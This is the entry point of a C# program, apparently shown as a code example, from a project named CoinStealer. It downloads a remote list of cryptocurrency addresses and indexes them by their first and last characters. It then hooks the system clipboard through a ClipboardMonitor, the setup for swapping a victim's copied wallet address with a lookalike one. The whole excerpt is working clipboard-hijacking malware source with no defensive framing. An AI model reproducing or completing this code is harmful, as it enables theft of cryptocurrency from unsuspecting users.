예제 #1
0
        static void Main(string[] args)
        {
#if DEBUG
            if (Debugger.IsAttached)
            {
                args = new string[] { "https://github.com/shargon/CoinStealer/blob/master/CoinStealer/Samples/Addresses.txt?raw=true" };
            }
#endif
            // Check parameter
            if (args.Length == 0)
            {
                return;
            }
            if (!Uri.TryCreate(args[0], UriKind.RelativeOrAbsolute, out Uri uri))
            {
                return;
            }

            // Download address list
            using (HttpHandler wb = new HttpHandler())
            {
                foreach (string dir in wb.DownloadString(uri).Split(new char[] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries))
                {
                    try
                    {
                        string sdir = dir;

                        if (!dir.StartsWith("0x", StringComparison.InvariantCultureIgnoreCase))
                        {
                            sdir = "0x" + sdir;
                        }

                        string sub = sdir.Substring(0, 4) + sdir.Substring(sdir.Length - 2, 2);
                        Changes[sub] = sdir;
                    }
                    catch { }
                }
            }

            // Create a dummy control for intercept windows message
            ClipboardMonitor c = new ClipboardMonitor();
            c.ClipboardChanged += C_ClipboardChanged;
            Application.Run();
        }